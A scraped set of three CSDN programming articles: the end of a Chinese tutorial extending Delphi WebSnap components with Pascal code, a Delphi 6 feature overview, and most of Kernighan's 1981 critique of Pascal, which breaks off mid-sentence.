如果我们仔细研究WebSnap对这个接口的实现，我们就会发现存在一个不足之处：无法取得用户的显示名称！唉！我们就此放弃了这一功能吗？当然不会！我们可以通过简单的创建一个继承接口IudWebUserList达到目的：
IudWebUserList = interface(IWebUserList)
['{0C7E6E80-3F82-47C6-B37E-04BEA4FAEE4A}']
function UserDisplayName(AUserID: variant): string;
end;
呵呵，现在我们有了一个实现的接口，正如WebSnap所要求的，它仍然可以保证良好的兼容性。我们每当需要放置一个接口，只需要对它进行实现，这在WebSnap中通过接口很容易做到。
增加缓冲区
我曾经在社区中征求大家对TDBWebUserList的意见，Graham Colwell建议我为登录的用户增加缓冲区以便改善系统的运行速度，这样，每当有人请求关于用户的信息（比如权限信息），系统就没有必要频繁的访问和更新数据库了。这个解决方案看起来很简单：只需要创建一个登录用户的列表，然后改为从列表中读取数据就可以了。但是，这又带来的另一个问题：我的组件怎样才能获知用户从网络中退出以便从缓冲区中删除他的记录呢？
我仔细研究了博览的文档（也包括博览的源码），却没有找到相关的解决方案，于是我开始浏览WebSnap的源码，在那里我找到了答案：InotifyWebActivate！InotifyWebActivate接口在激活和停用WebSnap应用的时候通知它的调用者。InotifyWebActivate接口是这样定义的：
INotifyWebActivate = interface
['{CE18BE42-1358-11D4-ABF4-F18FFAD12B3C}']
procedure NotifyActivate;
procedure NotifyDeactivate;
end;
在实现了这个未公开的接口之后，我的组件就可以获知WebSnap应用的激活和停用了。好，在找到这个接口之后，剩下的工作只是一个检查用户是否退出系统的例行程序，如果用户已经退出系统，就从缓冲区中删除他的记录。
TudEndUserSessionAdapter
将TudEndUserSessionAdapter组件加入WebSnap是为了获得TDBWebUserList的IudWebUserList接口并修正EndUser.DisplayName错误（TendUserSessionAdapter显示的是用户名而不是显示名称）。
为此，我研究了TendUserSessionAdapter，发现用户名是存储在一个Session对象中，而显示名称却没有。为获得显示名称，只需做如下修改：为显示名称设置一个新的Session变量，当脚本请求显示名称的时候，读取这个session对象并返回这个值。
function TudCustomEndUserSessionAdapter.GetUserName: string;
begin
if WebContext <> nil then
Result := WebContext.Session.Values[sUserName];
if Result = '' then
Result := UserID;
end;
很简单，不是吗？所以WebSnap并不难学。
TudLoginFormAdapter
TudLoginFormAdapter是对WebSnap部分最简单的扩充，它只是统计存在的TloginFormAdapter并输出NextPage属性，这就是它的全部源代码：
type
TudLoginFormAdapter = class(TLoginFormAdapter)
published
property NextPage;
end;
NextPage 属性允许你设置一旦用户登录将转向哪里，例如，你也许想把管理员转向管理页面，而将客户转向技术支持页面，转向哪里取决于用户的权限。下面是一个例子：
procedure TLoginPage.udLoginFormAdapterLogin(Sender: TObject; UserID: Variant);
begin
if HomePage.DBWebUserList.CheckAccessRights(UserID, 'admin') then
udLoginFormAdapter.NextPage := AdminPage.Name
else if HomePage.DBWebUserList.CheckAccessRights(UserID, 'user') then
udLoginFormAdapter.NextPage := UserPage.Name
else
udLoginFormAdapter.NextPage := VisitorPage.Name;
end;
当然，因为NextPage属性是输出的，你可以在设计程序的时候为它赋值。
TudStringsValuesList
介绍TudStringsValuesList有两个理由：修正博览的TstringsValuesList错误（OnPrepareStrings事件从未调用）和在Delphi中提供对在迭代脚本中当前字符串的访问。即使这意味着完全的重写，也并不是十分困难——只需要简单的复制/粘贴，对代码做几处很小的改动。
修正错误 修正OnPrepareStrings错误很简单，先让我们来看看博览的TstringsValuesList源码摘录：
procedure TCustomStringsValuesList.SetStrings(const Value: TStrings);
begin
FStrings.Assign(Value);
end;

function TCustomStringsValuesList.GetStrings: TStrings;
begin
if not (csLoading in ComponentState) and not StringsPrepared then
PrepareStrings;
Result := FStrings;
end;

procedure TCustomStringsValuesList.PrepareStrings;
begin
StringsPrepared := True;
if Assigned(OnPrepareStrings) then
OnPrepareStrings(Self);
end;
SetStrings和GetStrings方法是为了控制TstringsValuesList的Strings属性。如果你研究一下GetStrings方法，你将发现它只有当strings没有准备好并且组件没有被加载的时候才调用PrepareStrings方法
理想的情况是这：当首次需要strings的时候，PrepareStrings应该被调用，当请求被停用的时候，ImplNotifyDeactivate应该将StringsPrepared设回为否，所以当再次请求时PrepareStrings将再次被调用，然而，事实却不是这样，理由如下：
function TCustomStringsValuesList.ImplGetListName: string;
begin
if FIndex < FStrings.Count then
Result := FStrings.Names[FIndex]
else
Result := '';
end;

function TCustomStringsValuesList.ImplGetListValue: Variant;
var
S: string;
begin
if FIndex < FStrings.Count then
begin
S := FStrings.Names[FIndex];
if S <> '' then
Result := FStrings.Values[S]
else
Result := FStrings[FIndex]
end
else
Result := Unassigned;
end;

function TCustomStringsValuesList.ImplNextIteration(
var OwnerData: Pointer): Boolean;
begin
Inc(FIndex);
Result := FIndex < FStrings.Count;
end;
当脚本需要使用 strings的时候，代码访问的是内部Fstrings变量，从而“骗过”了GetStrings方法！唉！为了解决这个问题，只需将所有涉及Strings的方法中对Fstrings的首次调用由Fstrings改为Strings就可以了。
增加CurrentIteration属性CurrentIteration属性的作用也许你也能猜出来，在Delphi的代码中，你的页面脚本所在位置就是它的current iteration，这个功能很容易实现，在迭代的实现方法中，分配返回的字符串：
function TudStringsValuesList.ImplStartIterator(var OwnerData: Pointer):Boolean;
begin
FIndex := 0;
Result := FIndex < Strings.Count;
if Result then
FCurrentIteration := Strings[FIndex];
end;

function TudStringsValuesList.ImplNextIteration(var OwnerData:Pointer): Boolean;
begin
Inc(FIndex);
Result := FIndex < Strings.Count;
if Result then
FCurrentIteration := Strings[FIndex];
end;
如果迭代成功，结果为真，如果结果为真，我们将CurrentIteration属性的值设为迭代的值。
结束语
WebSnap就象一个万维网上的机器，如果你有机会，请打开它的引擎盖，看看博览的做工是多么出众，如果你看到需要改进的地方，请动手完善我们的WebSnap，我想这也正是设立这个社区的目的吧！


CSDN_文档中心_WHAT'S NEW IN DELPHI 6

WHAT'S NEW IN DELPHI 6

BizSnap™ simplifies eBusiness integration by easily and seamlessly creating and using XML/SOAP based Web Services
Delphi 6 radically simplifies building next-generation eBusiness applications on the Internet with complete SOAP based Web Services and XML data exchange support. The seamless integration of XML and Web Services technologies with Delphi 6 delivers the only Rapid Application Development for industry standard Web Services and B2B, B2C, and P2P integration over the Internet.

WebSnap™ is a component-based Web application development framework that supports leading Web Application Servers, including Apache, Netscape and Microsoft Internet Information Services (IIS)
WebSnap integrates the power of Delphi directly into today's Web site development teams. With WebSnap, Delphi applications can seamless integrate with Web sites and Web site development teams using today's popular HTML development environments such as Dreamweaver, Frontpage, VBScript, and JavaScript.

DataSnap™ delivers high-performance, Web Service-enabled database middleware that enables any client application or service to easily connect with any major database over the Internet
DataSnap supports all major database servers such as Oracle, MS-SQL Server, Informix, IBM DB2, Sybase and InterBase. Client applications connect to high-performance DataSnap servers through industry standard SOAP/XML HTTP connections over the Internet without bulky database client drivers and complex configuration requirements. DCOM, CORBA, and TCP/IP connections are also supported.

Build Single Source Windows/Linux Applications
Delphi 6 is Kylix compatible! Use the Cross-platform CLX™ component library and visual designers to build high-performance portable applications for Windows that can be easily re-compiled on Linux with Borland Kylix (sold separately). Plus! Bring CLX based Linux applications from Kylix into Delphi 6 to easily re-compile on Windows. Delphi 6 includes BaseCLX, VisualCLX, DataCLX, and NetCLX components.

Delphi 6 Borland AppServer Integration
Connect any Delphi 6 application or Web Service with Borland AppServer/EJBs using new SIDL (Simple IDL). Easily build ultra high-performance rich GUI Windows clients for EJB based AppServer applications. Publish AppServer EJB functionality to the world over Internet as industry standard SOAP/XML Web Services.

Borland VisiBroker for Delphi - Client and Server Development
Build ultra-high performance rich GUI Windows and Web Browser clients for Visibroker CORBA and AppServer/EJB applications. And now in Delphi 6 build CORBA Visibroker server objects that are interoperable with any CORBA client or object in a heterogeneous IT environment.

Latest Windows 2000/ME and Office 2000 GUI Support
Build the most modern user interfaces with new ActionBands, ActionManagers, and Shell Controls to easily create dynamic user interfaces that follow the latest Microsoft UI trends. Take all the work out of complex user interfaces while letting end-users fully customize their own UI experience.


CSDN_文档中心_Why Pascal is Not My Favourite Programming Language

AT&T Bell Laboratories Murray Hill, New Jersey 07974

Computing Science Technical Report No. 100

Why Pascal is Not My Favorite Programming Language

Brian W. Kernighan

April 2, 1981

Why Pascal is Not My Favorite Programming Language

Brian W. Kernighan

AT&T Bell Laboratories Murray Hill, New Jersey 07974

ABSTRACT

The programming language Pascal has become the dominant language of
instruction in computer science education.  It has also strongly influenced
lan guages developed subsequently, in particular Ada.

Pascal was originally intended primarily as a teaching language, but it has
been more and more often recommended as a language for serious programming as
well, for example, for system programming tasks and even operating systems.

Pascal, at least in its standard form, is just plain not suitable for serious
pro gramming.  This paper discusses my personal discovery of some of the
reasons why.

April 2, 1981

Why Pascal is Not My Favorite Programming Language

Brian W. Kernighan

AT&T Bell Laboratories Murray Hill, New Jersey 07974

1.  Genesis

This paper has its origins in two events -- a spate of papers that compare C
and Pas cal 1, 2, 3, 4 and a personal attempt to rewrite Software Tools 5 in
Pascal.

Comparing C and Pascal is rather like comparing a Learjet to a Piper Cub --
one is meant for getting something done while the other is meant for learning
-- so such comparisons tend to be somewhat farfetched.  But the revision of
Software Tools seems a more relevant comparison. The programs therein were
originally written in Ratfor, a ``structured'' dialect of Fortran imple mented
by a preprocessor.  Since Ratfor is really Fortran in disguise, it has few of
the assets that Pascal brings -- data types more suited to character
processing, data structuring capabilities for better defining the organization
of one's data, and strong typing to enforce telling the truth about the data.

It turned out to be harder than I had expected to rewrite the programs in
Pascal.  This paper is an attempt to distill out of the experience some
lessons about Pascal's suitability for program ming (as distinguished from
learning about programming).  It is not a comparison of Pascal with C or
Ratfor.

The programs were first written in that dialect of Pascal supported by the
Pascal interpreter pi provided by the University of California at Berkeley.
The language is close to the nominal standard of Jensen and Wirth, 6 with good
diagnostics and careful run-time checking.  Since then, the programs have also
been run, unchanged except for new libraries of primitives, on four other
systems: an interpreter from the Free University of Amsterdam (hereinafter
referred to as VU, for Vrije Universiteit), a VAX version of the Berkeley
system (a true compiler), a compiler purveyed by Whitesmiths, Ltd., and UCSD
Pascal on a Z80.  All but the last of these Pascal systems are written in C.

Pascal is a much-discussed language.  A recent bibliography 7 lists 175 items
under the heading of ``discussion, analysis and debate.''  The most often
cited papers (well worth reading) are a strong critique by Habermann 8 and an
equally strong rejoinder by Lecarme and Des jardins. 9 The paper by Boom and
DeJong 10 is also good reading.  Wirth's own assessment of Pas cal is found in
[11].  I have no desire or ability to summarize the literature; this paper
represents my personal observations and most of it necessarily duplicates
points made by others.  I have tried to organize the rest of the material
around the issues of

types and scope control flow environment cosmetics

and within each area more or less in decreasing order of significance.

To state my conclusions at the outset: Pascal may be an admirable language for
teaching beginners how to program; I have no first-hand experience with that.
It was a considerable achievement for 1968.  It has certainly influenced the
design of recent languages, of which Ada is likely to be the most important.
But in its standard form (both current and proposed), Pascal is not adequate
for writing real programs.  It is suitable only for small, self-contained
programs that have only trivial interactions with their environment and that
make no use of any software written by anyone else.

2.  Types and Scopes

Pascal is (almost) a strongly typed language.  Roughly speaking, that means
that each object in a program has a well-defined type which implicitly defines
the legal values of and operations on the object.  The language guarantees
that it will prohibit illegal values and operations, by some mixture of
compile- and run-time checking.  Of course compilers may not actually do all
the checking implied in the language definition.  Furthermore, strong typing
is not to be confused with dimensional analysis.  If one defines types apple
and orange with

type apple = integer; orange = integer;

then any arbitrary arithmetic expression involving apples and oranges is
perfectly legal.

Strong typing shows up in a variety of ways.  For instance, arguments to
functions and pro cedures are checked for proper type matching.  Gone is the
Fortran freedom to pass a floating point number into a subroutine that expects
an integer; this I deem a desirable attribute of Pascal, since it warns of a
construction that will certainly cause an error.

Integer variables may be declared to have an associated range of legal values,
and the com piler and run-time support ensure that one does not put large
integers into variables that only hold small ones.  This too seems like a
service, although of course run-time checking does exact a penalty.

Let us move on to some problems of type and scope.

2.1.  The size of an array is part of its type

If one declares

var arr10 : array [1..10] of integer; arr20 : array [1..20] of integer;

then arr10 and arr20 are arrays of 10 and 20 integers respectively.  Suppose
we want to write a procedure sort to sort an integer array.  Because arr10 and
arr20 have different types, it is not possible to write a single procedure
that will sort them both.

The place where this affects Software Tools particularly, and I think programs
in general, is that it makes it difficult indeed to create a library of
routines for doing common, general-purpose operations like sorting.

The particular data type most often affected is array of char, for in Pascal a
string is an array of characters.  Consider writing a function index(s,c) that
will return the position in the string s where the character c first occurs,
or zero if it does not.  The problem is how to handle the string argument of
index.  The calls index('hello',c) and index('goodbye',c) can not both be
legal, since the strings have different lengths.  (I pass over the question of
how the end of a constant string like 'hello' can be detected, because it
can't.)

The next try is

var temp : array [1..10] of char;

temp := 'hello';

n := index(temp,c);

but the assignment to temp is illegal because 'hello' and temp are of
different lengths.

The only escape from this infinite regress is to define a family of routines
with a member for each possible string size, or to make all strings (including
constant strings like 'define') of the same length.
The latter approach is the lesser of two great evils.  In Tools, a type called
string is declared as

type string = array [1..MAXSTR] of char;

where the constant MAXSTR is ``big enough,'' and all strings in all programs
are exactly this size. This is far from ideal, although it made it possible to
get the programs running.  It does not solve the problem of creating true
libraries of useful routines.

There are some situations where it is simply not acceptable to use the
fixed-size array repre sentation.  For example, the Tools program to sort
lines of text operates by filling up memory with as many lines as will fit;
its running time depends strongly on how full the memory can be packed.  Thus
for sort, another representation is used, a long array of characters and a set
of indices into this array:

type charbuf = array [1..MAXBUF] of char; charindex = array [1..MAXINDEX] of
0..MAXBUF;

But the procedures and functions written to process the fixed-length
representation cannot be used with the variable-length form; an entirely new
set of routines is needed to copy and com pare strings in this representation.
In Fortran or C the same functions could be used for both.

As suggested above, a constant string is written as

'this is a string'

and has the type packed array [1..n] of char, where n is the length.  Thus
each string literal of different length has a different type.  The only way to
write a routine that will print a message and clean up is to pad all messages
out to the same maximum length:

error('short message '); error('this is a somewhat longer message');

Many commercial Pascal compilers provide a string data type that explicitly
avoids the problem; string's are all taken to be the same type regardless of
size.  This solves the problem for this single data type, but no other.  It
also fails to solve secondary problems like computing the length of a constant
string; another built-in function is the usual solution.

Pascal enthusiasts often claim that to cope with the array-size problem one
merely has to copy some library routine and fill in the parameters for the
program at hand, but the defense sounds weak at best: 12

``Since the bounds of an array are part of its type (or, more exactly, of the
type of its indexes), it is impossible to define a procedure or function which
applies to arrays with differing bounds.  Although this restriction may appear
to be a severe one, the experiences we have had with Pascal tend to show that
it tends to occur very infre quently.  [...]  However, the need to bind the
size of parametric arrays is a serious defect in connection with the use of
program libraries.''

This botch is the biggest single problem with Pascal.  I believe that if it
could be fixed, the language would be an order of magnitude more usable.  The
proposed ISO standard for Pascal 13

provides such a fix (``conformant array schemas''), but the acceptance of this
part of the standard is apparently still in doubt.

2.2.  There are no static variables and no initialization

A static variable (often called an own variable in Algol-speaking countries)
is one that is pri vate to some routine and retains its value from one call of
the routine to the next. De facto, For tran variables are internal static,
except for COMMON;# in C there is a static declaration that can be applied to
local variables. __________________

# Strictly speaking, in Fortran 77 one must use SAVE to force the static
attribute.

Pascal has no such storage class.  This means that if a Pascal function or
procedure intends to remember a value from one call to another, the variable
used must be external to the function or procedure.  Thus it must be visible
to other procedures, and its name must be unique in the larger scope.  A
simple example of the problem is a random number generator: the value used to
compute the current output must be saved to compute the next one, so it must
be stored in a vari able whose lifetime includes all calls of the random
number generator.  In practice, this is typi cally the outermost block of the
program.  Thus the declaration of such a variable is far removed from the
place where it is actually used.

One example comes from the text formatter described in Chapter 7 of Tools. The
variable dir controls the direction from which excess blanks are inserted
during line justification, to obtain left and right alternately.  In Pascal,
the code looks like this:

program formatter (...);

var dir : 0..1; { direction to add extra spaces } . . . procedure justify
(...); begin dir := 1 - dir; { opposite direction from last time } ... end;

...

begin { main routine of formatter } dir := 0; ... end;

The declaration, initialization and use of the variable dir are scattered all
over the program, liter ally hundreds of lines apart.  In C or Fortran, dir
can be made private to the only routine that needs to know about it:

... main() { ... }

...

justify() { static int dir = 0;

dir = 1 - dir; ... }

There are of course many other examples of the same problem on a larger scale;
functions for buffered I/O, storage management, and symbol tables all spring
to mind.

There are at least two related problems.  Pascal provides no way to initialize
variables stati cally (i.e., at compile time); there is nothing analogous to
Fortran's DATA statement or initializers like

int dir = 0;

in C.  This means that a Pascal program must contain explicit assignment
statements to initialize variables (like the

dir := 0;

above).  This code makes the program source text bigger, and the program
itself bigger at run time.

Furthermore, the lack of initializers exacerbates the problem of too-large
scope caused by the lack of a static storage class.  The time to initialize
things is at the beginning, so either the main routine itself begins with a
lot of initialization code, or it calls one or more routines to do the
initializations.  In either case, variables to be initialized must be visible,
which means in effect at the highest level of the hierarchy.  The result is
that any variable that is to be initialized has glo bal scope.

The third difficulty is that there is no way for two routines to share a
variable unless it is declared at or above their least common ancestor.
Fortran COMMON and C's external static stor age class both provide a way for
two routines to cooperate privately, without sharing informa tion with their
ancestors.

The new standard does not offer static variables, initialization or
non-hierarchical commu nication.

2.3.  Related program components must be kept separate

Since the original Pascal was implemented with a one-pass compiler, the
language believes strongly in declaration before use.  In particular,
procedures and functions must be declared (body and all) before they are used.
The result is that a typical Pascal program reads from the bottom up -- all
the procedures and functions are displayed before any of the code that calls
them, at all levels.  This is essentially opposite to the order in which the
functions are designed and used.

To some extent this can be mitigated by a mechanism like the #include facility
of C and Ratfor: source files can be included where needed without cluttering
up the program. #include is not part of standard Pascal, although the UCB, VU
and Whitesmiths compilers all provide it.

There is also a forward declaration in Pascal that permits separating the
declaration of the function or procedure header from the body; it is intended
for defining mutually recursive proce dures.  When the body is declared later
on, the header on that declaration may contain only the function name, and
must not repeat the information from the first instance.

A related problem is that Pascal has a strict order in which it is willing to
accept declara tions.  Each procedure or function consists of

label label declarations, if any const constant declarations, if any type type
declarations, if any var variable declarations, if any procedure and function
declarations, if any begin body of function or procedure end

This means that all declarations of one kind (types, for instance) must be
grouped together for the convenience of the compiler, even when the programmer
would like to keep together things that are logically related so as to
understand the program better.  Since a program has to be presented to the
compiler all at once, it is rarely possible to keep the declaration,
initialization and use of types and variables close together.  Even some of
the most dedicated Pascal supporters agree: 14

``The inability to make such groupings in structuring large programs is one of
Pascal's most frustrating limitations.''

A file inclusion facility helps only a little here.

The new standard does not relax the requirements on the order of declarations.

2.4.  There is no separate compilation

The ``official'' Pascal language does not provide separate compilation, and so
each imple mentation decides on its own what to do.  Some (the Berkeley
interpreter, for instance) disallow it entirely; this is closest to the spirit
of the language and matches the letter exactly.  Many others provide a
declaration that specifies that the body of a function is externally defined.
In any case, all such mechanisms are non-standard, and thus done differently
by different systems.

Theoretically, there is no need for separate compilation -- if one's compiler
is very fast (and if the source for all routines is always available and if
one's compiler has a file inclusion facility so that multiple copies of source
are not needed), recompiling everything is equivalent.  In practice, of
course, compilers are never fast enough and source is often hidden and file
inclusion is not part of the language, so changes are time-consuming.

Some systems permit separate compilation but do not validate consistency of
types across the boundary.  This creates a giant hole in the strong typing.
(Most other languages do no cross compilation checking either, so Pascal is
not inferior in this respect.)  I have seen at least one paper (mercifully
unpublished) that on page n castigates C for failing to check types across
sepa rate compilation boundaries while suggesting on page n+1 that the way to
cope with Pascal is to compile procedures separately to avoid type checking.

The new standard does not offer separate compilation.

2.5.  Some miscellaneous problems of type and scope

Most of the following points are minor irritations, but I have to stick them
in somewhere.

It is not legal to name a non-basic type as the literal formal parameter of a
procedure; the following is not allowed:

procedure add10 (var a : array [1..10] of integer);

Rather, one must invent a type name, make a type declaration, and declare the
formal parameter to be an instance of that type:

type a10 = array [1..10] of integer; ... procedure add10 (var a : a10);

Naturally the type declaration is physically separated from the procedure that
uses it.  The disci pline of inventing type names is helpful for types that
are used often, but it is a distraction for things used only once.

It is nice to have the declaration var for formal parameters of functions and
procedures; the procedure clearly states that it intends to modify the
argument.  But the calling program has no way to declare that a variable is to
be modified -- the information is only in one place, while two places would be
better.  (Half a loaf is better than none, though -- Fortran tells the user
nothing about who will do what to variables.)

It is also a minor bother that arrays are passed by value by default -- the
net effect is that every array parameter is declared var by the programmer
more or less without thinking.  If the var declaration is inadvertently
omitted, the resulting bug is subtle.

Pascal's set construct seems like a good idea, providing notational
convenience and some free type checking.  For example, a set of tests like

if (c = blank) or (c = tab) or (c = newline) then ...

can be written rather more clearly and perhaps more efficiently as

if c in [blank, tab, newline] then ...

But in practice, set types are not useful for much more than this, because the
size of a set is strongly implementation dependent (probably because it was so
in the original CDC implementa tion: 59 bits).  For example, it is natural to
attempt to write the function isalphanum(c) (``is c alphanumeric?'') as

{ isalphanum(c) -- true if c is letter or digit } function isalphanum (c :
char) : boolean; begin isalphanum := c in ['a'..'z', 'A'..'Z', '0'..'9'] end;

But in many implementations of Pascal (including the original) this code fails
because sets are just too small.  Accordingly, sets are generally best left
unused if one intends to write portable pro grams.  (This specific routine
also runs an order of magnitude slower with sets than with a range test or
array reference.)

2.6.  There is no escape

There is no way to override the type mechanism when necessary, nothing
analogous to the ``cast'' mechanism in C.  This means that it is not possible
to write programs like storage alloca tors or I/O systems in Pascal, because
there is no way to talk about the type of object that they return, and no way
to force such objects into an arbitrary type for another use.  (Strictly
speaking, there is a large hole in the type-checking near variant records,
through which some otherwise illegal type mismatches can be obtained.)

3.  Control Flow

The control flow deficiencies of Pascal are minor but numerous -- the death of
a thousand cuts, rather than a single blow to a vital spot.

There is no guaranteed order of evaluation of the logical operators and and or
-- nothing like && and || in C.  This failing, which is shared with most other
languages, hurts most often in loop control:

while (i <= XMAX) and (x[i] > 0) do ...

is extremely unwise Pascal usage, since there is no way to ensure that i is
tested before x[i] is.

By the way, the parentheses in this code are mandatory -- the language has
only four levels of operator precedence, with relationals at the bottom.

There is no break statement for exiting loops.  This is consistent with the
one entry-one exit philosophy espoused by proponents of structured
programming, but it does lead to nasty cir cumlocutions or duplicated code,
particularly when coupled with the inability to control the order in which
logical expressions are evaluated.  Consider this common situation, expressed
in C or Ratfor:

while (getnext(...)) { if (something) break rest of loop }

With no break statement, the first attempt in Pascal is

done := false; while (not done) and (getnext(...)) do if something then done
:= true else begin rest of loop end

But this doesn't work, because there is no way to force the ``not done'' to be
evaluated before the next call of getnext.  This leads, after several false
starts, to

done := false; while not done do begin done := getnext(...); if something then
done := true else if not done then begin rest of loop end end

Of course recidivists can use a goto and a label (numeric only and it has to
be declared) to exit a loop.  Otherwise, early exits are a pain, almost always
requiring the invention of a boolean vari able and a certain amount of
cunning.  Compare finding the last non-blank in an array in Ratfor:

for (i = max; i > 0; i = i - 1) if (arr(i) != ' ') break

with Pascal:

done := false; i := max; while (i > 0) and (not done) do if arr[i] = ' ' then
i := i - 1 else done := true;

The index of a for loop is undefined outside the loop, so it is not possible
to figure out whether one went to the end or not.  The increment of a for loop
can only be +1 or -1, a minor restriction.

There is no return statement, again for one in-one out reasons.  A function
value is returned by setting the value of a pseudo-variable (as in Fortran),
then falling off the end of the function.  This sometimes leads to contortions
to make sure that all paths actually get to the end of the function with the
proper value.  There is also no standard way to terminate execution except by
reaching the end of the outermost block, although many implementations provide
a halt that causes immediate termination.

The case statement is better designed than in C, except that there is no
default clause and the behavior is undefined if the input expression does not
match any of the cases.  This crucial omission renders the case construct
almost worthless.  In over 6000 lines of Pascal in Software Tools in Pascal, I
used it only four times, although if there had been a default, a case would
have served in at least a dozen places.

The new standard offers no relief on any of these points.

4.  The Environment

The Pascal run-time environment is relatively sparse, and there is no
extension mechanism except perhaps source-level libraries in the ``official''
language.

Pascal's built-in I/O has a deservedly bad reputation.  It believes strongly
in record oriented input and output.  It also has a look-ahead convention that
is hard to implement prop erly in an interactive environment.  Basically, the
problem is that the I/O system believes that it must read one record ahead of
the record that is being processed.  In an interactive system, this means that
when a program is started, its first operation is to try to read the terminal
for the first line of input, before any of the program itself has been
executed.  But in the program

write('Please enter your name: '); read(name); ...

read-ahead causes the program to hang, waiting for input before printing the
prompt that asks for it.

It is possible to escape most of the evil effects of this I/O design by very
careful implemen tation, but not all Pascal systems do so, and in any case it
is relatively costly.

The I/O design reflects the original operating system upon which Pascal was
designed; even Wirth acknowledges that bias, though not its defects. 15 It is
assumed that text files consist of records, that is, lines of text.  When the
last character of a line is read, the built-in function eoln becomes true; at
that point, one must call readln to initiate reading a new line and reset
eoln. Similarly, when the last character of the file is read, the built-in eof
becomes true.  In both cases, eoln and eof must be tested before each read
rather than after.

Given this, considerable pains must be taken to simulate sensible input.  This
implementa tion of getc works for Berkeley and VU I/O systems, but may not
necessarily work for anything else:

{ getc -- read character from standard input } function getc (var c :
character) : character; var ch : char; begin if eof then c := ENDFILE else if
eoln then begin readln; c := NEWLINE end else begin read(ch); c := ord(ch)
end; getc := c end;

The type character is not the same as char, since ENDFILE and perhaps NEWLINE
are not legal values for a char variable.

There is no notion at all of access to a file system except for predefined
files named by (in effect) logical unit number in the program statement that
begins each program.  This apparently reflects the CDC batch system in which
Pascal was originally developed.  A file variable

var fv : file of type

is a very special kind of object -- it cannot be assigned to, nor used except
by calls to built-in pro cedures like eof, eoln, read, write, reset and
rewrite.  (reset rewinds a file and makes it ready for re-reading; rewrite
makes a file ready for writing.)

Most implementations of Pascal provide an escape hatch to allow access to
files by name from the outside environment, but not conveniently and not
standardly.  For example, many sys tems permit a filename argument in calls to
reset and rewrite:

reset(fv, filename);

But reset and rewrite are procedures, not functions -- there is no status
return and no way to regain control if for some reason the attempted access
fails.  (UCSD provides a compile-time flag that disables the normal abort.)
And since fv's cannot appear in expressions like

reset(fv, filename); if fv = failure then ...

there is no escape in that direction either.  This straitjacket makes it
essentially impossible to write programs that recover from mis-spelled file
names, etc.  I never solved it adequately in the Tools revision.

There is no notion of access to command-line arguments, again probably
reflecting Pascal's batch-processing origins.  Local routines may allow it by
adding non-standard procedures to the environment.

Since it is not possible to write a general-purpose storage allocator in
Pascal (there being no way to talk about the types that such a function would
return), the language has a built-in proce dure called new that allocates
space from a heap.  Only defined types may be allocated, so it is not possible
to allocate, for example, arrays of arbitrary size to hold character strings.
The point ers returned by new may be passed around but not manipulated: there
is no pointer arithmetic. There is no way to regain control if storage runs
out.

The new standard offers no change in any of these areas.

5.  Cosmetic Issues

Most of these issues are irksome to an experienced programmer, and some are
probably a nuisance even to beginners.  All can be lived with.

Pascal, in common with most other Algol-inspired languages, uses the semicolon
as a state ment separator rather than a terminator (as it is in PL/I and C).
As a result one must have a rea sonably sophisticated notion of what a
statement is to put semicolons in properly.  Perhaps more important, if one is
serious about using them in the proper places, a fair amount of nuisance edit
ing is needed.  Consider the first cut at a program:

if a then b; c;

But if something must be inserted before b, it no longer needs a semicolon,
because it now pre cedes an end:

if a then begin b0; b end; c;

Now if we add an else, we must remove the semicolon on the end:

if a then begin b0; b end else d; c;

And so on and so on, with semicolons rippling up and down the program as it
evolves.

One generally accepted experimental result in programmer psychology is that
semicolon as separator is about ten times more prone to error than semicolon
as terminator. 16 (In Ada, 17 the most significant language based on Pascal,
semicolon is a terminator.)  Fortunately, in Pascal one can almost always
close one's eyes and get away with a semicolon as a terminator.  The excep
tions are in places like declarations, where the separator vs. terminator
problem doesn't seem as serious anyway, and just before else, which is easy to
remember.

C and Ratfor programmers find begin and end bulky compared to { and }.

A function name by itself is a call of that function; there is no way to
distinguish such a function call from a simple variable except by knowing the
names of the functions.  Pascal uses the Fortran trick of having the function
name act like a variable within the function, except that where in Fortran the
function name really is a variable, and can appear in expressions, in Pascal,
its appearance in an expression is a recursive invocation: if f is a
zero-argument function, f:=f+1 is a recursive call of f.

There is a paucity of operators (probably related to the paucity of precedence
levels).  In particular, there are no bit-manipulation operators (AND, OR,
XOR, etc.).  I simply gave up trying to write the following trivial encryption
program in Pascal:

i := 1; while getc(c) <> ENDFILE do begin putc(xor(c, key[i])); i := i mod
keylen + 1 end

because I couldn't write a sensible xor function.  The set types help a bit
here (so to speak), but not enough; people who claim that Pascal is a system
programming language have generally overlooked this point.  For example, [18,
p. 685]

``Pascal is at the present time [1977] the best language in the public domain
for pur poses of system programming and software implementation.''

seems a bit naive.

There is no null string, perhaps because Pascal uses the doubled quote
notation to indicate a quote embedded in a string:

'This is a '' character'

There is no way to put non-graphic symbols into strings.  In fact, non-graphic
characters are unpersons in a stronger sense, since they are not mentioned in
any part of the standard language. Concepts like newlines, tabs, and so on are
handled on each system in an ad hoc manner, usually by knowing something about
the character set (e.g., ASCII newline has decimal value 10).

There is no macro processor.  The const mechanism for defining manifest
constants takes care of about 95 percent of the uses of simple #define
statements in C, but more involved ones are hopeless.  It is certainly
possible to put a macro preprocessor on a Pascal compiler.  This allowed me to
simulate a sensible error procedure as

#define error(s) begin writeln(s); halt end

(halt in turn might be defined as a branch to the end of the outermost block.)
Then calls like

error('little string'); error('much bigger string');

work since writeln (as part of the standard Pascal environment) can handle
strings of any size. It is unfortunate that there is no way to make this
convenience available to routines in general.

The language prohibits expressions in declarations, so it is not possible to
write things like

const SIZE = 10; type arr = array [1..SIZE+1] of integer;

or even simpler ones like

const SIZE = 10; SIZE1 = SIZE + 1;

6.  Perspective

The effort to rewrite the programs in Software Tools started in March, 1980,
and, in fits and starts, lasted until January, 1981.  The final product 19 was
published in June, 1981.  During that time I gradually adapted to most of the
superficial problems with Pascal (cosmetics, the inade quacies of control
flow), and developed imperfect solutions to the significant ones (array sizes,
run-time environment).

The programs in the book are meant to be complete, well-engineered programs
that do non-trivial tasks.  But they do not have to be efficient, nor are
their interactions with the operat ing system very complicated, so I was able
to get by with some pretty kludgy solutions, ones that simply wouldn't work
for real programs.

There is no significant way in which I found Pascal superior to C, but there
are several places where it is a clear improvement over Ratfor.  Most obvious
by far is recursion: several pro grams are much cleaner when written
recursively, notably the pattern-search, quicksort, and expression evaluation.

Enumeration data types are a good idea.  They simultaneously delimit the range
of legal values and document them.  Records help to group related variables.
I found relatively little use for pointers.

Boolean variables are nicer than integers for Boolean conditions; the original
Ratfor pro grams contained some unnatural constructions because Fortran's
logical variables are badly designed.

Occasionally Pascal's type checking would warn of a slip of the hand in
writing a program; the run-time checking of values also indicated errors from
